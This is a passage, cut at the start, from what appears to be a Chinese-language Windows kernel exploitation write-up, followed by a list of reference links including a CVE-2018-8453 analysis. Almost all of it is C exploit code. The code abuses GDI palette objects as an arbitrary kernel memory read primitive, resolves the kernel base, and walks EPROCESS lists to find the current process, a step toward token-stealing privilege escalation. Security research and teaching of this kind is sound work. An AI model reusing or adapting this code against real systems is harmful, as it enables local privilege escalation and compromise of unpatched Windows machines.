FreeLibrary((HMODULE)ntos);
UINT res = 0;
UINT ntOsBase = GetNTOsBase();
if (ntOsBase)
{
UINT tmp = addr - ntos + ntOsBase;//计算实际PsInitialSystemProcess内核全局变量地址
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&tmp);
GetPaletteEntries(hpWorker,0,sizeof(UINT) / sizeof(PALETTEENTRY),(LPPALETTEENTRY)&res);
}
return res;
}
UINT GetNTOsBase()
{
UINT Bases[0x1000];
DWORD needed = 0;
UINT krnlbase = 0;
if (EnumDeviceDrivers((LPVOID*)&Bases,sizeof(Bases),&needed))
{
krnlbase = Bases[0];
}
return krnlbase;//ntkrnlpa地址
}
UINT PsGetCurrentProcess()
{
UINT pEPROCESS = PsInitialSystemProcess();
LIST_ENTRY ActiveProcessLinks;
UINT tmp = pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT);
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&tmp);
GetPaletteEntries(hpWorker,0,sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY),(LPPALETTEENTRY)&ActiveProcessLinks);

UINT res = 0;
while(TRUE)
{
UINT UniqueProcessId = 0;
pEPROCESS = (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT);
tmp = pEPROCESS + gConfig.UniqueProcessIdOffset;
SetPaletteEntries((HPALETTE)hpManager,0x3FE,1,(PALETTEENTRY*)&tmp);
GetPaletteEntries((HPALETTE)hpWorker,0,sizeof(UINT) / sizeof(PALETTEENTRY),(LPPALETTEENTRY)&UniqueProcessId);
if (GetCurrentProcessId() == UniqueProcessId)
{
res = pEPROCESS;
break;
}
tmp = pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT);
SetPaletteEntries((HPALETTE)hpManager,0x3FE,1,(PALETTEENTRY*)&tmp);
GetPaletteEntries((HPALETTE)hpWorker,0,sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY),(LPPALETTEENTRY)&ActiveProcessLinks);
if (pEPROCESS == (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT))
{
break;
}
}
return res;
}

参考资料


小刀师傅https://xiaodaozhi.com/exploit/70.html

先知社区https://xz.aliyun.com/t/2919

看雪学院https://zhuanlan.zhihu.com/p/102121772

fightingmanhttps://www.anquanke.com/post/id/205870

Evil Bit Bloghttp://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-bitmap-objects-size.html

奇安信威胁情报中心https://ti.qianxin.com/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east/

write-bughttps://www.write-bug.com/article/2184.html